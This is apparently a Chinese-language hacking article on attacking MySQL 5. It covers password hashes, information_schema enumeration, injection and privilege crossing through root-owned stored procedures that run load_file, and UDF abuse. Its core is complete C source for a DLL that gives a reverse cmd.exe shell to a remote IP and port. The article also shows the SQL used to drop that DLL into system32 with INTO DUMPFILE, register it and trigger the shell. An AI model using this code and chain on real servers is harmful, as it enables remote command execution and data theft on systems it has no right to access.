天天看點

Hackfing in Mysql5

Mysql5增加很多新的功能,開始支援:存儲過程、觸發器、視圖、資訊架構視圖等新特。可以說這些都是發展的必然,但是新的東西的出來,必定也會帶來新的安全問題,如Mysql4開始支援union查詢、子查詢。這直接導緻mysql注射更容易、廣泛。mysql5的新功能會給安全帶來什麼新的東西呢?下面我給大家介紹下mysql5在安全方面的特點:

一、password authentication

mysql5的password()和mysql4.1一樣,采用的基于SHA1的41位hash:

mysql> select password('mypass');

+-------------------------------------------+

| password('mypass')                        |

| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |

1 row in set (0.00 sec)

在mysql4.1以前的password hashes是基于16位md5:

mysql> SELECT PASSWORD('mypass');

+--------------------+

| PASSWORD('mypass') |

| 6f8c114b58f2ce9e   |

當使用低版本的Client連接配接時,回出現錯誤:Client does not support authentication protocol,為了解決這個問題,mysql5提供了一個old_password(),就相當于mysql4.1以前的的password():

mysql> select old_password('mypass');

+------------------------+

| old_password('mypass') |

| 6f8c114b58f2ce9e       |

1 row in set (0.09 sec)

二、資料字典(information_schema)

和mssql、oracle、db2等資料庫一樣,mysql5提供了一個系統資料庫:information_schema

mysql> use information_schema;

Database changed

mysql> show tables;

+---------------------------------------+

| Tables_in_information_schema          |

| CHARACTER_SETS                        |

| COLLATIONS                            |

| COLLATION_CHARACTER_SET_APPLICABILITY |

| COLUMNS                               |

| COLUMN_PRIVILEGES                     |

| KEY_COLUMN_USAGE                      |

| ROUTINES                              |

| SCHEMATA                              |

| SCHEMA_PRIVILEGES                     |

| STATISTICS                            |

| TABLES                                |

| TABLE_CONSTRAINTS                     |

| TABLE_PRIVILEGES                      |

| TRIGGERS                              |

| VIEWS                                 |

| USER_PRIVILEGES                       |

16 rows in set (0.17 sec)

在這個資料庫裡我們可以得到很多資訊,包括目前使用者權限:

mysql> select * from information_schema.USER_PRIVILEGES;

+-----------+---------------+----------------+--------------+

| GRANTEE   | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |

| 'KK1'@'%' | NULL          | USAGE          | NO           |

1 row in set (0.02 sec)

目前使用者權限下可以通路的資料庫,表,列名(這個在sql注射中,導緻直接暴區資料庫,表列名,再也不要‘暴力’咯):

mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATIS

TICS;

+--------------+------------+-------------+

| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |

| in           | article    | articleid   |

| in           | user       | userid      |

2 rows in set (0.02 sec)

還可以得到目前使用者權限下的VIEWS,ROUTINES等,關于ROUTINES我們在下面的‘存儲過程’裡詳細介紹。

[ps:注意是‘目前使用者權限’如果是root,那麼太可以得到所有的資料庫名稱以及表列名等等]

三、存儲過程(Stored Procedures)

'存儲過程'的使用是mysql5的一個閃光點,在帶來友善的同時,它也帶來了新的安全隐患:如sql注射,使用者權限提升等等。

D:/mysql5/bin>mysql -uroot -p

Enter password: ******

Welcome to the MySQL monitor.  Commands end with ; or /g.

Your MySQL connection id is 4 to server version: 5.0.18

Type 'help;' or '/h' for help. Type '/c' to clear the buffer.

mysql> use in

mysql> delimiter //

mysql> CREATE PROCEDURE test(id INT)

    -> BEGIN

    ->   SELECT * FROM in.USER WHERE USERID=ID;

    -> END//

Query OK, 0 rows affected (0.08 sec)

mysql> delimiter ;

mysql> call test(1);

+--------+----------+----------+

| userid | username | password |

|      1 | angel    | mypass   |

Query OK, 0 rows affected (0.00 sec)

上面我們使用root在資料庫in裡建立了一個名為test的存儲過程。

a、SQL Injection

mysql> call test(1 and 1=1);

Query OK, 0 rows affected (0.01 sec)

mysql> call test(1 and 1=2);

Empty set (0.00 sec)

b、跨權限

存儲過程是繼承建立者的權限的,如果存儲過程是root建立的,當其他普通使用者使用這個存儲過程時,導緻跨權限攻擊:

mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE

    -> ON `IN`.*

    -> TO 'KK1'@'%'

    -> IDENTIFIED BY 'OBSCURE';

Query OK, 0 rows affected (0.03 sec)

上面建立一個KK1的使用者隻在資料庫in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE權限,使用KK1登陸:

D:/mysql5/bin>mysql -uKK1 -p

Your MySQL connection id is 5 to server version: 5.0.18

mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from inform

ation_schema.ROUTINES;

+----------------+--------------+----------------+--------------------+

| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER        | ROUTINE_DEFINITION |

| in             | test         | root@localhost |                    |

| in             | tt           | root@localhost |                    |

2 rows in set (0.01 sec)

我們可以得到KK1可以使用存儲過程in.test 其建立者為root@localhost。不過KK1沒有權限得到ROUTINE_DEFINITION 就是in.test的代碼。下面看看跨權限:

mysql> call in.test(1 and length(load_file('c:/boot.ini'))>0);

mysql> call in.test(1 and length(load_file('c:/boot.ini'))<0);

沒有file權限的KK1可以使用in.test使用load_file(),我們還可以直接對mysql.user進行select,如果存儲過程可以updata,insert注射,那麼我們可以普通使用者直接通過注射來修改mysql.user裡的資料。

四、User-Defined Function

[ps:下面都是基于win系統]

mysql5的udf在格式和安全方面做一些新的改變:

1、格式要求更加嚴格[xxx_init()初始化函數]

對于沒有xxx_init()初始化函數 在以前的版本是可以使用的,但是在mysql5下會出現Can't find function 'xxx_init' in library的錯誤,如:

mysql> create function ExitProcess returns integer soname 'kernel32';

ERROR 1127 (HY000): Can't find function 'ExitProcess_init' in library

下面給出的代碼是好友雲舒寫的,符合mysql5的udf格式要求可以在mysql5下使用:

/*******************************************************************************

* File:   MySQL_Shell.cpp

* Author: 雲舒(wustyunshu at hotmail dot com)

* Date:    2005-12-12

*******************************************************************************/

#include <stdio.h>

#include <winsock2.h>

#include <windows.h>

#define MAKE_DLL                /* Build dll here */

#include "MySQL_Shell.h"

#pragma comment( lib, "ws2_32" )

#define BUFFER_SIZE    1024

///////////////////////////////////////////////////////////////////////////////

//函數原型

BOOL StartWith( char *, char * );

void LogMsg( char * );

//MySQL子產品初始化函數

LIB    my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message )

{

    if ( args->arg_count != 2 )

    {

        strcpy( message, "Shell() requires two arguments" );

        return 1;

    }

    if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )

        strcpy( message, "Shell() requires two string arguent" );

    return 0;

}

//MySQL子產品主功能函數,反向連接配接提供shell

LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error )

    SOCKET            sock;

    SOCKADDR_IN        sin;

    int                ret;

    // Create socket

    sock = socket( AF_INET, SOCK_STREAM, 0 );

    if ( sock == INVALID_SOCKET )

        strcpy( error, "Create socket error" );

        return -1;

    sin.sin_family = AF_INET;

    sin.sin_port = htons( atoi(args->args[1]) );

    sin.sin_addr.s_addr = inet_addr( args->args[0] );

    //connect to remote server

    ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );

    if( ret == SOCKET_ERROR )

        strcpy( error, "Connect error" );

    SECURITY_ATTRIBUTES    sa;

    sa.nLength = sizeof( sa );

    sa.lpSecurityDescriptor = 0;

    sa.bInheritHandle = TRUE;

    HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

    ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );

    ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );

    STARTUPINFO    si;

    ZeroMemory( &si, sizeof(si) );

    GetStartupInfo( &si );

    si.cb = sizeof( si );

    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

    si.wShowWindow = SW_HIDE;

    si.hStdInput = hReadPipe2;

    si.hStdOutput = si.hStdError = hWritePipe1;

    PROCESS_INFORMATION    processInfo;

    char    cmdLine[] = "cmd.exe";

    ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );

    ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);

    char            buff[BUFFER_SIZE] = { 0 };            

    unsigned long    bytesRead = 0;

    int             i = 0;

    while( TRUE )

        memset( buff, 0, BUFFER_SIZE );

          ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );

          for(i = 0; i < 5 && bytesRead == 0; i++)

        {

            Sleep(100);

            ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );

        }

          if( bytesRead )

               ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );

               if( !ret ) break;

            ret = send( sock, buff, bytesRead, 0 );

               if( ret <= 0 ) break;

          }

        else

               bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );

               if( bytesRead <= 0 ) break;

            if( StartWith( buff , "exit" ) == TRUE ) break;

               ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );

           }

    TerminateProcess( processInfo.hProcess, 0 );

    CloseHandle( hReadPipe1 );

    CloseHandle( hReadPipe2 );

    CloseHandle( hWritePipe1 );

    CloseHandle( hWritePipe2 );

    closesocket( sock );

}    

//判斷字元串是否以另一個字元串開頭

BOOL StartWith( char *buf1, char *buf2 )

    int len = strlen(buf2);

    if( memcmp( buf1,buf2,len ) == 0 )

        return TRUE;

    return FALSE;

//記錄日志資訊,調試用

void LogMsg( char *msg )

    FILE    *fp;

    fp = fopen( "C:/mysql.txt", "a+" );

    fputs( msg, fp );

    fclose( fp );

* File:   MySQL_Shell.h

#ifdef MAKE_DLL

    #define LIB extern "C" __declspec(dllexport)

#else

    #define LIB extern "C" __declspec(dllimport)

#endif

#define MYSQL_ERRMSG_SIZE    512                /* Max buffer size */

typedef char my_bool;

enum Item_result

    STRING_RESULT,REAL_RESULT,INT_RESULT

};

typedef struct st_udf_args

    unsigned int        arg_count;           /* Number of arguments */

    enum Item_result    *arg_type;           /* Pointer to item_results */

    char                **args;                 /* Pointer to argument */

    unsigned long        *lengths;            /* Length of string arguments */

    char                *maybe_null;         /* Set to 1 for all maybe_null args */

} UDF_ARGS;

typedef struct st_udf_init

    my_bool                maybe_null;          /* 1 if function can return NULL */

    unsigned int        decimals;            /* for real functions */

    unsigned int        max_length;          /* For string functions */

    char                *ptr;                /* free pointer for function data */

    char                const_item;          /* 0 if result is independent of arguments */

} UDF_INIT;

LIB    my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * );

LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * );

2、mysql5限制了udf對應的檔案dll檔案隻可以放在system32目錄下。

對于一般低權限的系統使用者是沒有對system32目錄寫權限的,在這樣的情況下我們可以使用into dumpfile把dll檔案放到system32來突破,具體如下:

mysql> use mysql;

mysql> create table heige(line blob);

Query OK, 0 rows affected (0.50 sec)

mysql> insert into heige values(load_file('c:/udf.dll'));

Query OK, 1 row affected (0.08 sec)

mysql> select * from heige into dumpfile 'c:/winnt/system32/heige.dll';

Query OK, 1 row affected (0.18 sec)

mysql> create function shell returns integer soname 'heige.dll';

Query OK, 0 rows affected (0.07 sec)

mysql> select * from mysql.func;

+-------+-----+-----------+----------+

| name  | ret | dl        | type     |

| shell |   2 | heige.dll | function |

mysql> select shell('127.0.0.1','1234');

+---------------------------+

| shell('127.0.0.1','1234') |

|                      NULL |

1 row in set (0.97 sec)

五、參考

六、感謝

感謝雲舒、TomyChen、Mix ...所有pst的兄弟們。

謝謝閱讀!